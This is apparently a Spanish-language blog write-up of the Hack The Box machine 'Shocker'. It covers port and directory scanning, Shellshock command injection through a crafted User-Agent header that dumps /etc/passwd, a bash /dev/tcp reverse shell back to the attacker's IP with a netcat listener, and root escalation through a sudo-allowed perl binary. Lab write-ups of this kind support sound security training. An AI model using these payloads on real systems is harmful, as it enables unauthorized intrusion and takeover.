Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Shocker de Hack The Box (Necesario VIP)

Shocker ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn 10.10.10.56 -oG allports        "

Procedemos con el siguiente escaneo de Nmap

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Procedemos a Fuzzear para encontrar las diferentes rutas a nivel web que pueda tener la maquina victima. Usamos la herramienta DIRB

# dirb http://10.10.10.56                                   

-----------------

START_TIME: Sat Jun 12 12:19:55 2021
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.56/ ----
"+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)  "                                                                                                                            
"+ http://10.10.10.56/index.html (CODE:200|SIZE:137) "                                                                                                                           
"+ http://10.10.10.56/server-status (CODE:403|SIZE:299)   "                                                                                                                      
                                                                                                                                                                               
-----------------
END_TIME: Sat Jun 12 12:25:47 2021
DOWNLOADED: 4612 - FOUND: 3

Vemos que nos encuentra una ruta con nombre /cgi-bin/ Usamos la herramienta dirsearch para hacer un segundo Fuzzing con diferentes extensiones.

# dirsearch -u http://10.10.10.56/cgi-bin -e sh,txt,php,html -f -t 200                                                                                              130 ⨯ 1 ⚙

  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: sh, txt, php, html | HTTP method: GET | Threads: 200 | Wordlist size: 42323

Output File: /root/.dirsearch/reports/10.10.10.56/cgi-bin_21-06-12_12-35-06.txt

Error Log: /root/.dirsearch/logs/errors-21-06-12_12-35-06.log

Target: http://10.10.10.56/cgi-bin/
[12:35:06] Starting:
..
[12:35:43] 200 -  118B  - "/cgi-bin/user.sh"

Encontramos un recurso en bash, vamos a probar a apuntarle desde nuestra terminal con una peticion CURL

# curl -X GET "http://10.10.10.56/cgi-bin/user.sh"                                                                                                                       18 ⨯
Content-Type: text/plain

Just an uptime test script

 07:14:39 up  2:11,  0 users,  load average: 0.00, 0.00, 0.00

Nos especifica que el script esta usando el comando uptime para ir actualizando el tiempo de la maquina mientras este activa (Es Dinamico) Aqui nosotros si hemos escuchado hablar sobre la Vulnerabilidad llamada ShellShock, podemos intuir que los tiros pueden ir por ahi.. Aqui dejo el articulo informativo sobre la vulnerabilidad "https://blog.cloudflare.com/inside-shellshock/"

Shellshock como Vulnerabilidad (RCE)

Procedemos a explotar la vulnerabilidad encontrada en la maquina SHOCKER Ejecutamos el comando /bin/bash -c 'cat /etc/passwd' para ver si obtenemos Ejecucion Remota de Comandos

# curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash

Una vez verificado la vulnerabilidad!! Procedemos a intentar enviarnos una Reverse-shell a nuestro equipo desde la maquina victima explotando la vulnerabilidad ShellShock

# curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.13/443 0>&1'" http://10.10.10.56/cgi-bin/user.sh

Nos ponemos a la escucha con una session de netcat y ejecutamos el comando por arriba para ver si recibimos la conexion.

# nc -vlnp 443
listening on [any] 443 ...
connect to [10.10.15.13] from (UNKNOWN) [10.10.10.56] 43304
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
shelly@Shocker:/usr/lib/cgi-bin$ ^Z
zsh: suspended  nc -vlnp 443

# Hacemos un tratamiento de la tty para que sea interactiva
┌──(root💀kali)-[/home]
└─# stty raw -echo; fg                                                                                                                                                148 ⨯ 1 ⚙
[1]  + continued  nc -vlnp 443
                              reset
reset: unknown terminal type unknown
Terminal type? xterm
shelly@Shocker:/usr/lib/cgi-bin$ export TERM=xterm
shelly@Shocker:/usr/lib/cgi-bin$ export SHELL=bash
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ ^C
shelly@Shocker:/usr/lib/cgi-bin$ 

Vale ahora faltaria setear las rows y columns segun nuestra tty para que tenga la mismas proporciones.

Una vez dentro si nos dirigimos al directorio /home/shelly/user.txt podriamos ver la flag:

shelly@Shocker:/$ cd home
shelly@Shocker:/home$ ls
shelly
shelly@Shocker:/home$ cat shelly/*
fd3834f5565767551d05x0550xxxxxxx

Escalada de Privilegios hasta el user Root

Procedemos a enumerar el sistema con los siguientes comandos:

shelly@Shocker:/var$ sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: "/usr/bin/perl"

Apartir de aqui hacemos una busqueda en la pagina de GTFOBins y encontramos que con el commando perl podemos spawnearnos una shell, y como podemos usar el comando como SUID ya estaria

  • GTFOBins - https://gtfobins.github.io/gtfobins/perl/
    shelly@Shocker:/var$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
    # whoami
    root
    # cat roo*
    2754c7de9b01e33009bb75xxxxxxxxx
    

    Ya tendriamos la flag de root.txt. Maquina Rooteada!!